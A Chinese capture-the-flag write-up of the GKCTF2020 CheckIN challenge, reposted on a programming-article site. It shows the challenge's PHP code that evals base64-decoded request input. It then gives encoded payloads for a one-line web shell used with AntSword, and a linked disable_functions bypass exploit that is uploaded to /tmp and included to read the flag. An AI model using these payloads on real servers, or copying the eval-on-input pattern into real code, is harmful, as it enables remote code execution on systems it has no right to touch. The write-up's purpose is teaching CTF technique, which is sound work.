欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

[GKCTF2020]CheckIN

程序员文章站 2022-05-27 14:48:40
...

题目复现地址

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

给了一个命令执行点,把命令base64编码一下即可执行,先构造一个phpinfo();

PS C:\Users\Administrator> php -r "echo base64_encode('phpinfo();');"
cGhwaW5mbygpOw==

查看phpinfo()发现过滤了很多函数,猜测这题又是disable_functions bypass
[GKCTF2020]CheckIN
先构造个shell,蚁剑连上去,?Ginkgo=eval($_POST['m0c1nu7']);,base64编码一下

?Ginkgo=ZXZhbCgkX1BPU1RbJ20wYzFudTcnXSk7

蚁剑shell设置里面Encoder选择base64
[GKCTF2020]CheckIN
[GKCTF2020]CheckIN

猜测需要执行/readflag文件才能得到flag,接下来上传disable functions bypass脚本突破执行命令即可,bypass脚本github有很多,自己找一下即可

这里贴一个bypass脚本地址:https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

改一下执行命令即可
[GKCTF2020]CheckIN
随便找一个能上传的路径,这里就在/tmp/路径下上传bypass脚本shell.php

[GKCTF2020]CheckIN
然后在命令执行点包含shell.php即可获得flag

include('/tmp/shell.php');base64编码之后得到:aW5jbHVkZSgnL3RtcC9zaGVsbC5waHAnKTs=

[GKCTF2020]CheckIN